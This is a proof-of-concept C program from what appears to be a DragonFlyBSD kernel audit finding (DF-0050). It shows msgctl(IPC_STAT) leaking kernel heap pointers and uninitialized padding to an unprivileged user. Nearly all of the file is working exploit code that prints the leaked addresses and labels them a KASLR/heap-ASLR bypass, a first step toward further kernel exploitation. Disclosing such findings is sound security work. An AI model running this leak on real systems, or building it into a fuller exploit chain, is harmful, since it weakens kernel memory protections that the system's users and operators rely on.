DragonFlyBSD Kernel Audit
DF-0050 / msg_leak.c
← back to finding ↓ download raw
/*
 * DF-0050 PoC - msgctl(IPC_STAT) leaks kernel heap pointers
 *              (msg_first/msg_last) + uninitialized padding to any local user.
 *
 * sys_msgctl IPC_STAT (sys/kern/sysv_msg.c:324) does
 *     copyout(msqptr, user_msqptr, sizeof(struct msqid_ds))
 * with NO sanitization. struct msqid_ds (sys/sys/msg.h) contains
 *     struct msg *msg_first;   (live kernel heap pointer)
 *     struct msg *msg_last;    (live kernel heap pointer)
 *     long msg_pad1..msg_pad4  (never zeroed; boot kmalloc has no M_ZERO)
 * Any local user who creates a queue + sends one message can read the msg
 * header kernel address -> KASLR / heap-ASLR bypass (exploit enabler).
 *
 * Build (DragonFlyBSD):  cc -o msg_leak msg_leak.c
 * Run as an UNPRIVILEGED user.
 */

#include <sys/types.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int
main(void)
{
	int id = msgget(IPC_PRIVATE, 0600);
	if (id < 0) { perror("msgget"); return 1; }

	struct { long mtype; char mtext[8]; } m = { 1, "AAAAAAAA" };
	if (msgsnd(id, &m, sizeof(m.mtext), 0) < 0) {
		perror("msgsnd"); msgctl(id, IPC_RMID, NULL); return 1;
	}

	struct msqid_ds ds;
	memset(&ds, 0x5a, sizeof(ds));
	if (msgctl(id, IPC_STAT, &ds) < 0) {
		perror("msgctl IPC_STAT"); msgctl(id, IPC_RMID, NULL); return 1;
	}

	/* msg_first/msg_last are live kernel heap pointers (struct msg *). */
	printf("msg_first = %p\n", (void *)ds.msg_first);
	printf("msg_last  = %p\n", (void *)ds.msg_last);

	/* Dump pad fields - they should be zeroed but may contain boot-time
	 * heap residue if the boot kmalloc at sysv_msg.c:130 lacks M_ZERO. */
	printf("msg_pad1  = 0x%016lx\n", (unsigned long)ds.msg_pad1);
	printf("msg_pad2  = 0x%016lx\n", (unsigned long)ds.msg_pad2);
	printf("msg_pad3  = 0x%016lx\n", (unsigned long)ds.msg_pad3);
	for (int i = 0; i < 4; i++)
		printf("msg_pad4[%d] = 0x%016lx\n", i,
		    (unsigned long)ds.msg_pad4[i]);

	/* Classify what got leaked: a kernel heap pointer on x86_64 looks like
	 * 0xffff8xxxxxxxxxxx (kernel-map range). */
	unsigned long f = (unsigned long)(uintptr_t)ds.msg_first;
	unsigned long l = (unsigned long)(uintptr_t)ds.msg_last;
	if ((f & 0xffff000000000000UL) == 0xffff000000000000UL &&
	    f != 0) {
		printf("LEAK: msg_first is a non-zero kernel pointer "
		       "(uid=%d KASLR/heap-ASLR bypass)\n", (int)getuid());
	}
	if (l != 0 && (l & 0xffff000000000000UL) == 0xffff000000000000UL &&
	    l == f) {
		/* single-message queue: first==last */
		printf("OK: msg_first == msg_last (single-msg queue)\n");
	}

	msgctl(id, IPC_RMID, NULL);
	return 0;
}